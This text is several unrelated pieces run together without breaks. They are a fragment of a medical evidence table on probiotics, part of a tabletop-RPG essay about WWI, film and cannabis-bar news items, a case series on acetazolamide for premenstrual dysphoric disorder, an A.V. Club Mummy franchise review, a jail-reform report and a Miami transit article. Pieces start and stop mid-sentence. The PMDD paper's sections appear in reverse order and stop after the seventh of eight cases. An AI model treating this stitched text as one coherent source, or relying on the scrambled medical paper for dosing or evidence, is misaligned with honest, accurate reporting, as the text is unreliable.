chemotherapy complications Microbiome composition and diversity can act as a predictor for the risk of blood stream and other infections. FMT (study ongoing) and probiotics to decrease infectious complications and GvHD—no conclusions possible based on limited evidence to date. [14–16] Mucositis Probiotics for the prevention and treatment of chemotherapy and radiation-induced mucositis and diarrhea. Few studies, significant heterogeneity, no conclusions possible based on limited evidence. [17, 18] HIV Disease progression Probiotics and synbiotics for improvement of immune function. Small, heterogeneous studies, no conclusions possible based on limited evidence. [19] Diarrhea Probiotics to decrease diarrhea in HIV patients. Small, heterogeneous studies, no conclusions possible based on limited evidence. [20] Upper respiratory Upper respiratory tract infection Probiotics for prevention of URTI in children. Small, heterogeneous studies, some support of use, no conclusions possible based on limited evidence. [21, 22] Gastrointestinal Clostridium difficile and antibiotic-associated diarrhea FMT effective as treatment for refractory C difficile. Bacteriotherapy for prevention. Probiotics for prevention. Moderate quality evidence suggests probiotics are safe and effective. [23–25] Acute infectious gastroenteritis Probiotics for the prevention and treatment of infectious gastroenteritis. Evidence supports probiotics use in the treatment of persistent diarrhea in pediatric patients and shortening and reducing stool frequency in adults and infants. [26, 27] Traveler’s diarrhea Probiotics for the prevention of traveler’s diarrhea. Limited and inconclusive evidence that probiotics prevent traveler’s diarrhea. [28, 29] Amebiasis Probiotics for the treatment of amebiasis in children. No conclusions possible based on limited evidence. [30] Helicobacter pylori Probiotics for the adjunctive treatment of H pylori. No evidence probiotics improve eradication. [31] Spontaneous bacterial peritonitis Probiotics for the prevention of SBP in patients with ascites. No evidence that probiotics prevent SBP. [32] Urogenital Urinary tract infection Probiotics for the prevention of (recurrent) UTI. No significant benefit, no conclusions possible based |
, the same memories, dreams and fears. Just as your team of Americans running straight towards the German trenches do, and just as the German soldiers in their fortifications do. English names aren’t that different from the German ones. Forget about past sessions. All of scenarios we played in this campaign might as well have been something that happened to the German soldiers.
So now, shooting wildly, your squad awaits the furious attack of the Americans. Only a dozen meters left until they reach the trenches. Someone barks out the order “Fix… Bayonets!” Your blood is pumping so hard it almost bursts your veins and each moment a new body joins the fallen. Grenades are thrown while the enemies’ bayonets glitter in the darkness. You can feel the blood pulsing in your ears. It’s strange, but despite the cannonade, you can still hear your own heavy breathing. The world slows down…
Then my players became US soldiers again who, after a murderous passage through the no man’s land, rush towards the enemies’ trenches. The screams, hits, blood and fury hit them full in the face.
In this bloodbath, I asked my players: “What are you doing here boys?”
Why did I do it? To make my players aware that, in the tumult of clashes between huge armies, personal dramas take place. There’s room for fear for what may come as well as little pleasures like a cup of hot coffee or a visit to the cabaret. The global war machine doesn’t care – it swallows and grinds everybody equally just like the toxic gas on the battlefield that, with a change of wind, may suddenly suffocate the allies. Meanwhile somewhere in relative safety, bent over maps, cold blooded generals with rakish mustaches and elegant uniforms decide who’s to live or die. Their sticks move human fates on the map, killing some and saving others.
In truth, war never ends. Each moment, for as long as mankind can remember, there is fighting somewhere in the world and young men are sent to their deaths. Some of these sacrifices are honored to make them heroes, but most are faceless, nameless bodies stripped of their humanity.
Think about this the next time your characters march onward to another war campaign. Through gaming, we can reexamine some important, sometimes hard, subjects. I know gaming is fun, but I think it can bring catharsis and consciousness as well.
I dedicate this article to the victims, soldiers, and civilians affected by war.
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Like this: Like Loading...EXCLUSIVE I’ve just learned that Neill Blomkamp is reteaming with his District 9 star Sharlto Copley on his second sci-fi feature Elysium. Copley played Wikus van de Merwe in District 9 as well as HM Murdock in this summer’s The A-Team reboot. Meanwhile, director Blomkamp and Media Rights Capital now need to choose a distributor. “Neil is taking meetings all over town. There is a lot of interest from every studio,” an insider tells me. I hear Blomkamp is including a graphic novel in his presentation. Elysium is Blomkamp’s long-awaited story set in the far future on another planet and, like District 9, is filled with many sociopolitical ideas wrapped up inside a Hollywood action film. So far no one else has been cast. “They have been working out budget and are now meeting with actor reps,” the insider tells me. Universal and MRC have a deal, but I hear this sweepstakes to distribute Elysium is wide open. Remember when Universal and Fox would have had to gamble on the then unknown filmmaker to make the videogame Halo into a big budget film but couldn’t get it together even though Blomkamp was to be backstopped by Peter Jackson and his WETA facilities? Morons!) Instead, Blomkamp and Jackson made District 9 which went on to gross $211M at the worldwide box office but the indieprod only had a negative cost of $30M. The alien apartheid film also snagged one of last year’s 10 Best Picture Oscar nominations. Sony Pictures is still pushing for a sequel, which Elysium is not. The secret of District 9‘s success is that it was made outside the studio system and marketed outside the studio formula, and contained edgy and original content and an unknown but fresh South African cast. It now looks as if Elysium is travelling the same road.By Jonathan Kaminsky
OLYMPIA, Washington (Reuters) - Thanks to a successful ballot initiative last month, Washington state residents can legally smoke marijuana in the privacy of their living rooms as of Thursday.
When that gets old, bar owner Frank Schnarr suggests, area stoners have another option: grab a booth at Frankie's Sports Bar & Grill in Olympia and toke up there.
Schnarr, 62, says he is not acting out of a love of cannabis - he says he hasn't smoked the stuff since he was a soldier stationed in Southeast Asia in the 1970s. Rather, he's looking for new sources of income.
"I stay up at night," he said. "I'm about to lose my business. So I've got to figure out some way to get people in here."
Schnarr, who waged an ultimately successful battle with local and state officials over Washington's 2006 smoking ban, appears to be the first restaurant or bar owner in the state to test the recently expanded limits on recreational marijuana use.
So, is he breaking the law?
Federal, state and local officials appear unsure. Or if they are, they're not saying.
"Marijuana remains illegal under federal law," said Emily Langlie, spokeswoman for the U.S. Attorney's Office in Seattle. "I can't tell you whether what he's doing is legal or not."
Says Tom Morrill, Olympia's city attorney: "We're looking into it. There are a lot of changes in state law right now. That's all I can say."
Mikhail Carpenter, spokesman for the state's Liquor Control Board, newly empowered to make rules for and oversee the state's planned regime for the cultivation, processing and sale of marijuana, is similarly noncommittal.
"The board is weighing its options with regard to Frankie's," he said. "It's not perfectly crystal clear as to who this falls to."
Carpenter said he knows of no other bar or restaurant in the state that allows marijuana smoking.
The legal gray area that Schnarr is exploiting exists in part thanks to his earlier fight over the smoking ban.
In order to flout it, Schnarr renamed his establishment's smoking-friendly second floor as "Friends of Frankie's," a private room limited to those who pay a $10 annual membership fee.
A full range of alcoholic beverages are for sale and the room is staffed by comely bartenders and cocktail waitresses. They are volunteers entitled to reimbursement for travel expenses and childcare but otherwise making their living off tips.
"Frank's ahead of the curve on (allowing marijuana use)," says Shawn Newman, Schnarr's attorney. "A lot of other taverns, bars and restaurants would like to do this, but they didn't have enough chutzpah to fight the smoking ban so they're locked into non-smoking operations."
Schnarr says "Friends of Frankie's" has over 10,000 members, with upwards of 40 joining in the two days since he announced that marijuana would be welcome.
To help appeal to his new target market, Schnarr has introduced a $4.20 appetizer menu — included are breaded shrimp, breaded cheese sticks and breaded mushrooms — and he is toying with the possibility of opening a medical marijuana dispensary on a nearby property.
But he isn't looking to attract Olympia's sizable transient crowd, or stoned college students.
"I'll have security in here, and if I see a bunch of guys just trying to get ripped, they're gone," he said.
Early last Friday evening, a few dozen customers played pool, drank beer, smoked cigarettes and loosened up for an impending shuffleboard tournament.
Only a small group at the back of the bar appeared to be smoking pot, a glass jar of the stuff sitting on the table between them.
Chris Sapp, 28, a long-haired diesel mechanic and longtime Frankie's member, said being able to smoke pot at the bar makes him feel like he's in Amsterdam.
"If I wasn't a friend of Frankie's already I'd be one now because you can come here and smoke and feel free," he said after taking a pull from a small pipe. "That's how it should be. We shouldn't have to hide weed."
Across the room, another patron commended Schnarr for welcoming pot use but begged off giving his name. As a volunteer firefighter, he said, he wasn't supposed to be in contact with marijuana smoke.
"I cannot be in this room," he lamented. "It's not like I'm sitting here smoking a joint or anything. My problem is that I'd love to, but I can't.
(Editing by Mary Wisniewski and Tim Gaynor; Desking by Christopher Wilson)This is an Open Access article distributed under the terms of the Creative Commons Attribution Non-Commercial License ( http://creativecommons.org/licenses/by-nc/3.0/ ) which permits unrestricted non-commercial use, distribution, and reproduction in any medium, provided the original work is properly cited.
The treatment of premenstrual dysphoric disorder (PMDD) is far from satisfactory, as there is a high proportion of patients who do not respond to conventional treatment. The antidiuretic sulfonamide, acetazolamide, inhibits carbonic anhydrase and potentiates GABAergic transmission; the latter is putatively involved in PMDD. We therefore tried acetazolamide in a series of women with intractable PMDD. Here, we describe a series of eight women diagnosed with DSM-IV-TR PMDD, five of whom had comorbidity with a mood disorder and one with an anxiety disorder, who were resistant to treatment and responded with symptom disappearance after being added-on 125 mg/day acetazolamide for 7-10 days prior to menses each month. Patients were free from premenstrual symptoms at the 12-month follow-up. We suggest that acetazolamide may be used to improve symptoms of PMDD in cases not responding to other treatments. GABAergic mechanisms may be involved in counteracting PMDD symptoms.
On this basis, we tried acetazolamide as an adjunctive medication in women with or without mood disorders suffering from PMDD symptoms.
Acetazolamide has been proved to be effective in the treatment of several other diseases, such as glaucoma, 50 idiopathic intracranial hypertension (pseudotumor cerebri), 51 mountain sickness, 52 central sleep apnea, 53 hypokalemic periodic paralysis. 54 Interestingly, there are several papers in the literature reporting the efficacy of acetazolamide in the treatment of atypical psychoses, 55 menstrual cycle-related fluctuations in Parkinson's disease, 56 bipolar affective disorders, 57 and acute mania in a patient with bipolar disorder. 58
Acetazolamide, like other sulfonamides such as methazolamide, zonisamide and sulthiame, is a potent inhibitor of carbonic anhydrase (CA). CA is an enzyme catalyzing the reversible reaction in which carbon dioxide (CO 2 ) and water (H 2 O) are converted to carbonic acid (H 2 CO 3 ), which in turn dissociates in hydrogen ion (or proton, H + ) and bicarbonate (HCO 3 - ). While originally developed as a diuretic drug, acetazolamide has been used to treat seizures since the discovery of the presence in the brain of a specific isoform of carbonic anhydrase, CA VII, 45 which appears to be involved in the regulation of GABAergic transmission. 46 Interestingly, GABAergic dysfunction appears to be involved in animal paradigms of PMDD. 47 Approval for its use in epilepsy dates back to 1953. Acetazolamide is primarily used in combination with other antiepileptic medications and also in refractory absence, partial, myoclonic and primary generalized tonic-clonic seizures. 48 It has also been used to treat catamenial epilepsy. 49
Despite PMDD treatment includes a wide range of therapeutic options, only few of them are backed by clinical evidence. Selective serotonin reuptake inhibitors (SSRIs) proved to be superior to placebo in several studies 19, 20 and have a first-line indication, despite recent questioning of their effectiveness. 21 Treatment with nonSSRI antidepressants 22 - 24 and lithium 25 failed to relieve symptoms. Among anti-anxiety agents, alprazolam obtained inconsistent effects, 26 - 29 while buspirone showed weak efficacy. 30, 31 Suppression of ovulation with oral contraceptives like the drospirenone/ethinylestradiol combination, 32 - 34 GnRH agonists, 35 the synthetic steroid 17alpha-ethinyl testosterone, 36 or ovariectomy, 37, 38 significantly reduces or eliminates symptoms. Other treatments include diuretics, such as spironolactone, 39 and non-steroidal anti-inflammatory drugs (NSAIDs), 40, 41 that are shown to reduce symptoms such as bloating, pain and headache. Nonpharmacological treatments, such as dietary supplements, physical exercise, 42 and cognitive-behavior therapy 43, 44 may likewise be helpful.
Differences in classification criteria for PMS led to significant variations in estimated prevalence; using the restrictive criteria of the American College of Obstetricians and Gynecologists, 15 PMDD is considered to affect at least 3-8% of reproductive-age women, whereas using broader criteria, the prevalence of PMS rises to 30-40%. 18
A premenstrual tension syndrome was recognized in the early'30s 9 and attributed to rejected fantasies of motherhood, but also related to the activity of the corpus luteum. 10 The syndrome concept was further refined and renamed as premenstrual syndrome (PMS) in the early'50s, 11 but despite this, specific diagnostic criteria were lacking. 12 In 1987, the DSM-III-R introduced diagnostic criteria for "late luteal phase dysphoric disorder" and clearly defined the syndrome; 13 this syndrome was re-named as "premenstrual dysphoric disorder" (PMDD) in the DSM-IV. 6 Less rigorous definitions of PMS were provided by the World Health Organization's International Classification of Diseases (ICD-10), 14 the American College of Obstetricians and Gynecologists, 15 and the Royal College of Obstetricians and Gynaecologists. 16 Recently, a consensus group has proposed new criteria, relevant for research purposes. 17
Experiencing emotional and physical symptoms during the premenstrual phase is common in most women. More than 80% of reproductive-age women suffer from symptoms during the luteal phase of their ovarian cycle. 1, 2 Usually these symptoms are mild, however, they can be severe enough to affect social, working and family life in a minority of patients. 2 - 8
CASE
All patients were personally treated by one of the authors (G.S.) and were followed for a mean period of 23.1 months (range 10-36, SD 11.24). Six patients had an axis I psychiatric disorder comorbid with DSM-IV-TR Premenstrual Dysphoric Disorder (PMDD), while two had PMDD only. Before making PMDD diagnosis, patients had to fill-out a daily symptom chart59 for at least four months. We used the Italian version of Temperament Evaluation of Memphis, Pisa, Paris and San Diego-autoquestionnaire version (TEMPS-A).60 No patient was receiving estrogens or progestins. After specific psychiatric drug treatment, all patients had fully recovered from their comorbid psychiatric disorder, but continued to experience PMDD symptoms before the introduction of acetazolamide. All patients took acetazolamide monthly for a 7-to-10-day period before menses. All patients signed free, informed consent for both treatment and publication of their cases.
Case 1 A 34-year-old single, childless Caucasian woman with a cyclothymic premorbid temperament, suffered from a severe form of PMDD since her adolescence. For more than 10 years she had abused substances (mainly cocaine) and alcohol. Her mood was consistently unstable, with bouts of self-inflicted injuries (self-cutting of the whole body), eating disorder (bulimia with self-induced vomiting) and impulsiveness, meeting DSM-IV-TR criteria for Borderline Personality Disorder. She had voluntarily interrupted a pregnancy when she was 32. In the last two years, she had stopped drug and alcohol abuse, but her clinical picture remained as before. We instituted therapy with lithium up to 600 mg/day, maintaining lithium blood levels up to 0.6 mEq/L, while slowly titrating lamotrigine up to 200 mg/day. Her mood stabilized after six months of treatment, with the exception of the period before menses. According to the diary chart, during this period she experienced depressive feelings, severe anxiety, irritability, insomnia, binge eating, desperate crying spells, desire of self-cutting. Her Clinical Global Impressions severity scale score (CGIs) was 6. All symptoms lasted for 7-10 days and disappeared suddenly by the first day of menses. Three months later, we added 125 mg/day acetazolamide, with intermittent monthly intake limited from ten days before the menses to the first day of menses. Since the first month, PMDD symptoms improved significantly (CGIs, 2), while no significant adverse event occurred. However, blood pressure slightly decreased, from 110/80 mm Hg to 100/70 mm Hg. After one year of treatment, the patient continues on add-on acetazolamide and is free from premenstrual symptoms (CGIs=1).
Case 2 A 29-year-old, single, nulliparous Caucasian woman with cyclothymic premorbid temperament and DSM-IV-TR diagnosis of Bipolar Disorder, type II, had severe PMDD since her teens. The bipolar onset may be traced back to age 15, when she had a first depressive episode. Since then, she had four depressive and three hypomanic episodes. She took several antidepressant drugs with little benefit. Since the onset of PMDD, she had developed feelings of worthlessness and emptiness, a bleak outlook of future, and an imminent sense of death. We treated her bipolar disorder with lithium up to 450 mg/day (lithium blood levels, up to 0.7 mEq/L) and oxcarbazepine up to 600 mg/day. Her mood stabilized after four months of treatment. Nevertheless, as emerging from the daily diary, important PMDD symptoms persisted. During the late luteal phase of the menstrual cycle, she was profoundly depressive, hopeless, hypersensitive and emotional, irritable, and unable to make any plan for the future (CGIs, 6). Acetazolamide 125 mg/day was added. The patient took the medication monthly for a 10-day period before menses. PMDD symptoms subsided soon (CGIs, 1). After three months of treatment, the patient stated she was living one more week per month compared to before. No side effects emerged. Improvement still persists at the 12-month follow-up.
Case 3 A 31-year-old, single, nulliparous Caucasian woman with cyclothymic premorbid temperament and DSM-IV-TR Bipolar Disorder, type II, had suffered from PMDD since her adolescence. PMDD was characterized by depressive mood, apathy, hypersomnia, anxiety, severe irritability and inner tension, impossibility to concentrate, fatigue, loss of interest in normal activities, crying, and severe binge eating. Her bipolar onset dates back to her twenties, when she presented with a first hypomanic episode. Since then, she had three depressive and four hypomanic episodes. She sporadically took antidepressant drugs. We introduced lamotrigine up to 150 mg/day and immediate release quetiapine 100 mg/day to treat her mood disorder. Bipolar symptoms subsided after eight months of treatment, but PMDD persisted. On the diary, she reported that the above described picture of PMDD emerged during the pre-menstrual phase (CGIs, 5) and abruptly disappeared with menses. We added 125 mg/day acetazolamide. After the second month of treatment, PMDD started to improve, and had completely subsided by the fourth month of treatment (CGIs, 1). No side effects were reported. One year later, the patient was fully asymptomatic. However, when she skipped acetazolamide one month, she re-experienced exactly the same PMDD syndrome as before. The next month, the patient reintroduced treatment, and this was followed by complete symptom resolution.
Case 4 A 30-year-old, single, nulliparous Caucasian woman with hyperthymic premorbid temperament and DSM-IV-TR recurrent major depressive disorder since age 20, had PMDD preceding her mood disorder by two years. A total of four depressive episodes occurred in ten years; these were characterized by depressive mood, initial insomnia, restlessness, and anxiety, but also by mixed features, such as racing and crowded thoughts, increased energy level, goal directedness, and inner tension. She had received trials with selective serotonin reuptake inhibitors (SSRIs). We treated her for her mood disorder with oral amitriptyline, 50 mg/day, and oxcarbazepine, titrated to 600 mg/day. After three months of treatment, her mood stabilized. During the pre-menstrual period, however, she continued to experience low mood, hypersomnia, fatigue, anxiety, irritability, feeling of being overwhelmed, and concentration difficulties (CGIs, 5). We added acetazolamide 125 mg/day, for ten days before menses. After the first month of treatment, PMDD improved, resolving completely by the second month of treatment (CGIs, 1). No side effects occurred. After one-and-a-half year of add-on acetazolamide the patient has no premenstrual symptoms (CGIs=1).
Case 5 A 35-year-old, Caucasian, woman with two children of 9 and 8 years of age, with a cyclothymic temperament and without a DSM-IV-TR axis I diagnosis, had suffered since adolescence from PMDD, characterized by mood swings, severe irritability, desperate crying spells, hopelessness and inner tension during the days immediately preceding menstruation. The patient was psychotropic medication-naïve. PMDD was absent during pregnancies. The patient filled-out the daily symptom diary for three consecutive months and reported the above-mentioned symptoms during the 10 days before menses (CGIs, 6). Acetazolamide 125 mg/day was added during the critical days. Right after the first month of treatment she no more experienced the usual symptomatology (CGIs, 1), and reported no side effect. When she suspended premenstrual treatment with acetazolamide for two months PMDD reappeared as before. PMDD resolved completely when treatment was initiated again. No side effects occurred. The patient has already completed 14 months with add-on acetazolamide and is fully asymptomatic (CGIs=1).
Case 6 A 43-year-old, single, nulliparous Caucasian woman with a premorbid cyclothymic temperament developed since early adulthood intermittent periods of unpredictable mood fluctuations, causing her problems in her personal and professional life and leading to severe impairment of the social and work domains. She received DSM-IV-TR diagnosis of Cyclothymic Disorder. Her PMDD had its onset at early puberty, with depressive mood, inner tension, affective lability, decreased interest in usually pleasurable activities, irritability, and sense of being out of control. Symptoms occurred during the luteal phase, some days after ovulation, and ended few days after onset of menses. She described this intense and painful state as "the worst pain ever experienced". She received gabapentin 600 mg/day. The amplitude of mood swings diminished from the first month, with mood reaching stabilization after five months of treatment. Nevertheless, the diary completed during follow-up showed that treatment was ineffective in reducing the luteal phase symptoms (CGIs, 7). Premenstrual symptom persistence for more than two consecutive cycles allowed us to diagnose PMDD. We added 125 mg/day acetazolamide during the critical days. Symptoms improved quickly during the next month (CGIs, 2), leading to complete remission within three months. No side effects were reported whatsoever, and the patient is still asymptomatic after twelve months of add on acetazolamide (CGIs=1).
Case 7 A 39-year-old, single, nulliparous Caucasian woman, with cyclothymic/anxious temperament, suffered from severe PMDD since the age of 12. The premenstrual syndrome consisted in depressed mood, anxiety, difficulty in concentrating, and decreased interest in usually pleasurable daily activities. At age 30, she began suffering from episodes of tachycardia, sweating, tremors, feelings of choking, and wheezing. Symptoms recurred frequently through the following years, forcing her to ask for a companion when she had to leave home or for activities like driving a car. This led to impaired social and working life. She received a diagnosis of DSM-IV panic disorder with agoraphobia. She tried several antidepressants, with no apparent benefit. When she came to our attention, we introduced 200 mg/day gabapentin and 0.5 mg/day clonazepam, while gradually discontinuing the SSRI antidepressant she was taking. Frequency and intensity of panic attacks diminished, to disappear completely after four months. Nevertheless, according to the daily diary, symptoms beginning typically few days after ovulation and ending with onset of menses remained unchanged (CGIs, 6). Hence we added during the luteal phase, i.e., 10 days before menses, 125 mg/day acetazolamide. The following month premenstrual symptoms improved (CGIs, 2) and completely disappeared after three months of treatment. She reported no side effects. More than one year after the introduction of add-on acetazolamide, the patient is premenstrual symptom-free (CGIs, 1).With Run The Series, The A.V. Club examines film franchises, studying how they change and evolve with each new installment.
The fifth Pirates Of The Caribbean film highlighted the unusual paradox of B movies successful enough to get the franchise treatment. Sequels have to top the previous entries in scope, so once-fleet action sequences grow to the point of bloat; they’re too big to care about and too unrealistic to quicken the pulse. If audiences liked the quirks of the lead characters, their eccentricities are exaggerated into shtick. Is comic relief a big part of the formula’s appeal? Too bad, because nothing kills humor like a joke that’s been forced. Promoting B movies to A-movie status can kill their appeal. Dead Men Tell No Tales is what happens when something that shouldn’t be taken seriously as a story has to be taken very seriously indeed because of its importance as a tentpole release and major financial investment.
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Nearly 20 years ago, another throwback picture launched another unexpected franchise, and while its first sequels suffered from the same missteps that plague the Pirates franchise, it eventually found a path better suited to its casual ambitions. It isn’t a series of masterpieces, but an example of how a B-movie universe can have its decent-tasting cake and eat it, too.
To a certain type of audience, Stephen Sommers’ The Mummy taps into a sense of adventure so pure that reasonable criticisms are overwhelmed by affection. It embodies what Mark Cousins, in his 15-hour documentary The Story Of Film, dubs “the bauble,” or the part of cinema dedicated to escapism. (Cousins’ example is The Thief Of Baghdad, which is essentially The Mummy in embryo.) The movie has a lovable rogue for a hero, glamorous women, scheming and dastardly villains, and deeds of derring-do, all in 1920s Cairo, a time and place with a particular hold on the romantic imagination. It plays like Sommers started with a checklist of every classic adventure trope—treasure maps, ancient curses, breathless escapes—and built his screenplay around them, but in ecstatic inspiration, not mercenary calculation. (That’s where the sequels come in.)
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There was precedent for this, of course. The Princess Bride was both a sincere fantasy story and a knowing, meta parody of the same, while Raiders Of The Lost Ark also crammed every hallmark of adventure serials into one tidy package. There are times when The Mummy series crosses the line from paying homage to Indiana Jones to outright stealing from him. (It’s one thing for both to feature giant spider-webs and walls that lower from the ceiling and threaten to smush those trapped inside; it’s another for a character to navigate past booby traps to steal an idol, only to fail when he guesses the wrong weight for the decoy replacement.) But while the vastly superior Raiders radiates with the joy of its making, The Mummy features arguably even more joyful storytelling.
A brief prologue sets the scene: An ancient Egyptian priest is cursed and mummified alive for betraying the Pharaoh. His punishment comes with a twist, however. If he’s brought back to life, he will control the dark magic used to torture him, giving him the power of the biblical plagues. The rest of the plot—and this goes for all three Mummy films, though not the whole series—involves such a villain getting raised from the dead and the heroes banding together to stop him.
The heroes here are Rick O’Connell (Brendan Fraser), an American French legionnaire who agrees to guide a team to a purported site of buried treasure (and ominous sarcophagi), and Evie Carnahan, a librarian who starts the series with Indiana Jones’ love of history and ends with his ability to kick ass. There’s also Jonathan (John Hannah), Evie’s brother, the kind of character inevitably described as a ne’er-do-well.
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Such roles are deceptively hard to play, since the actors need to maintain a certain aloofness while not looking down on the material. Fraser thrives at this intersection, and while he’s given strong performances in serious films, he seems most at home winking in front of a green screen. He’s appropriately handsome and broad-chested to work as a dashing hero, but in The Mummy his abilities to smolder or glower are less important than how convincingly he can go bug-eyed. He’s Nic Cage in a matinee idol’s body. Rachel Weisz, a more traditionally serious actor, also knows the right tone to strike as Evie. She’s infectiously enthusiastic, and someone who credibly slides from standing her ground to being out of her depth. Maria Bello, who subbed in after Weisz declined to return for part three, made the character too rigidly steely.
From a modern perspective, the first thing that stands out about The Mummy is how bright it is. It’s filled with color, taking full advantage of the visual possibilities of its exotic locale and period setting. (This summer’s Mummy starring Tom Cruise, in contrast, looks very much a product of the gritty blockbuster era. Not only does its present-day urban setting offer less from a production value standpoint, it looks like it was filmed through a grimy rag.). There’s a certain classicism at play here: Sommers favors widescreen compositions and old-fashioned tricks like implying action with shadows, and is less manic with editing than most modern-day action films.
This extends to the characters, who aren’t complex but have plenty of personality, especially when you get further down the cast list. Kevin O’Connor’s weasley supporting villain Beni is driven by a sense of self-preservation that’s far more interesting than a standard-issue henchman, and that makes the poetic justice of his final scene all the more satisfying. On the heroic side, a washed-up pilot played by Bernard Fox is written with the kind of broad strokes that make such characters memorable. (Told he won’t survive a rescue mission, he excitedly responds, “By jove, do you really think so?”) Fox’s character gets at what makes The Mummy so appealing. He seems like a nod to Michael Powell’s Colonel Blimp. Both explicitly and implicitly, the film taps into the great tradition of adventure stories, and in doing so extends it.
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As the title implies, The Mummy Returns is largely a retread of the first film, with new characters and details subbed into the formula like Mad Libs answers. Instead of scarab beetles, there are pygmy mummies. Rather than Fox’s cocky pilot, Shaun Parkes plays a hotshot hot air balloonist. Rick has to use a special sword to kill mummies in the first one, a particular spear in the second. Because they outran a malevolent dust storm before, they do the same with a bewitched wall of water here. The tension between delivering what worked before, only bigger, and creating something new is palpable. Some of the additions work, like the expanded presence of Oded Fehr, who plays one of the few Middle Eastern heroes in a Hollywood film, but most changes are for the worse. The romantic chemistry of the first film is gone, replaced by family life. Like the Zorro sequel, Returns bets big and loses on the supposed charm of the heroes’ annoying kid, who tags along for the ride.
Sommers’ need to up the spectacle—culminating in a notorious scene where Rick outruns the sun—also suffered from poor timing. CGI hadn’t quite advanced enough to pull off what The Mummy Returns calls on it to do; as a result, the movie has some of the lamest effects of any blockbuster of its era, something that dates it painfully. Every so often a line or gag will recall the charm of the first movie, but the biggest elements here are almost uniformly the worst.
Put a pin in Returns for a moment, because that’s where the Mummy family tree branches out. Instead, a quick word about the third and final entry in the namesake series, Tomb Of The Dragon Emperor, directed by The Fast And The Furious’ Rob Cohen instead of Sommers. The film plays like a low-stakes test to see whether the series should be raised from the dead amid a dozen other ongoing franchises. Because it doesn’t have the same pressure to out-deliver that Returns did, it captures more of the original film’s B-movie-on-an-A-budget charms than expected.
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To be sure, it’s plenty dumb. The wit of the first script has devolved into immaturity (when Jonathan’s rear is lit on fire, he begs Rick to “spank my ass!”), and Tomb Of The Dragon Emperor wastes too much time on tiresome family antics. (One exchange is essentially, “He doesn’t just need someone to save his life, he needs a father!”) But it has real pleasures—in the images, in the production design, and in the location change from Egypt to Asia. More importantly, there’s a relationship between Michelle Yeoh and Isabella Leong that approaches complexity. Where Fehr’s character in Returns didn’t have much of a life outside the story, Yeoh and Leong both get fairly effective arcs. It’s rare to see an action film that cribs this much from Lost Horizon, but adding that kind of spirituality gives it a unique flavor, if nothing else.
Circling back to Returns, that film’s biggest legacy is that it features Dwayne Johnson’s first notable role, back when he was still going by The Rock and best known for wrestling. He plays the Scorpion King, the film’s big villain, though he only gets a few lines that aren’t battle cries or grunts. He was clearly cast for his absurdly toned physique rather than his absurdly charismatic personality. Still, some producer clearly recognized what they had, because his character was soon given a spin-off that somehow became an even longer-running series than the one it sprang from. The sub-series has little to do with the Mummy overall (the only direct connection is easy to miss; the Book Of The Dead that raises the first mummy makes a cameo in The Scorpion King 3), but it more frequently captures what works about the first film than its proper sequels do.
None of the Scorpion King films are masterpieces, and they blur together by failing to advance the lead character, who never becomes the evil, power-hungry man he is in Returns. Like the Mummy sequels, the King movies rarely stray from their own cycle, which usually involves the title character getting a girl and a goofy sidekick and going off to fight some evil leader. (The exception is the second one, a prequel, which makes King 3 the sequel to a prequel of a remake’s sequel’s spin-off.)
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It’s a formula, but one that allows for a lot more personality than most blockbusters dare to risk. Because they don’t have the budget for huge action sequences, the King movies rely instead on stunt work, which is often more exciting than digital armies. Because they don’t have huge budgets in general, there’s a greater reliance on dialogue and humor, rather than endless action, which tends to be more engaging. They’re B movies, but that’s all they thrive to be. Nothing feels forced.
Thank the lowered expectations of DTV. Three of the four Scorpion King films were released only on DVD (the only one that opened in theaters is also the only one with Johnson), which seems the closest thing in modern filmmaking to what used to be called B movies. The A.V. Club has previously argued that direct-to-video is where the most exciting work in action filmmaking is being done, but that can apply more broadly to any kind of film that isn’t necessarily going for art but still benefits from less studio interference. Would the Pirates Of The Caribbean sequels have a higher batting average if they weren’t so fundamentally important to the studio’s bottom line? It could only help. The inspiration that birthed the first Mummy can’t be forced without being overwhelmed.
Final Ranking:
1. The Mummy (1999)
2. The Scorpion King (2002)
3. The Scorpion King 3: Battle For Redemption (2012)
4. The Mummy: Tomb Of The Dragon Emperor (2008)
5. The Scorpion King 2: Rise Of A Warrior (2008)
6. The |
facilities and the inhumane treatment of some inmates, the jail system is also in need of scrutiny and reform.
“Too often we see ordinary people, some even our neighbors, held for minor violations such as driving with a suspended license, public intoxication, or shoplifting because they cannot afford bail as low as $500,” Nicholas Turner, president and director of Vera, wrote in the report.
Turner said he was “jolted” by the sheer amount of Americans jailed simply because they did not have the financial means or mental capacity to post bail.
“I was startled by the numbers of people detained for behavior that stems primarily from mental illness, homelessness, or addiction,” he said.
An estimated 731,000 people are held in some 3,000 city and county jails in the U.S. on any given day, not to be confused with the state and federal prison system where convicted criminals serve their sentences. Admissions to jails nearly doubled since 1983 to reach 11.7 million per year in 2013, the report said. That’s nearly 19 times the number of annual prison admissions.
Furthermore, three of every five people in jail have not been convicted of a crime, but are being held because they are too poor to post bail while their cases are processed, the report said. The majority of them — 75 percent — are in jail for non-violent traffic, drug or public order offenses such as public drunkenness or driving with a suspended license, the report added.
In New York City, for example, nearly half the jail cases booked are for misdemeanor charges or less, the report said.
Earlier this week, civil rights groups filed lawsuits on behalf of 20 residents of two Missouri towns, alleging that local courts had been attempting to boost the cities’ coffers by jailing people in “deplorable conditions” for minor offenses.
The lawsuits claimed the plaintiffs were, in effect, being held in “debtors’ prisons” where they were being ransomed back to their families and friends for arbitrarily set fines.
As a result of such practices, Vera’s report said jails are increasingly serving as clearinghouses for the disadvantaged, but don’t often provide drug or mental-health treatment to prevent recidivism.
The report notes that 68 percent of all people in jail have a history of abusing drugs or alcohol. Moreover, inmates are four to six times as likely to have a serious mental illness such as bipolar disorder or schizophrenia than the general population.
In fact, 60 percent of jail inmates have reported symptoms of mental health problems within the 12 months before their arrest, according to the Bureau of Justice Statistics.
Vera’s report concluded with a call to action for jail reform.
“The misuse of jails is neither inevitable nor irreversible,” the report said. “But to chart a different course will take leadership and vision. … To both scale back and improve how jails are used in a sustainable way, localities must engage all justice system actors in collaborative study and action.”While trains may have been promised, suburban areas of the SMART Plan are looking to Rapid Bus Systems for savings and long term thinking.
On Monday, Major Carlos Gimenez did what most politicians would not dare: He told the public they cannot have what was promised to them. Mayor Gimenez ran his reelection on the SMART rapid transit plan; An ambitious plan to create 6 new public transit corridors reaching every corner of Miami. Voters were promised some of these lines in 2002 when they voted in a half percent tax that yields $250 million a year. However, the rail they were promised in South Dade, and other suburban destinations, was postponed in favor of a different system.
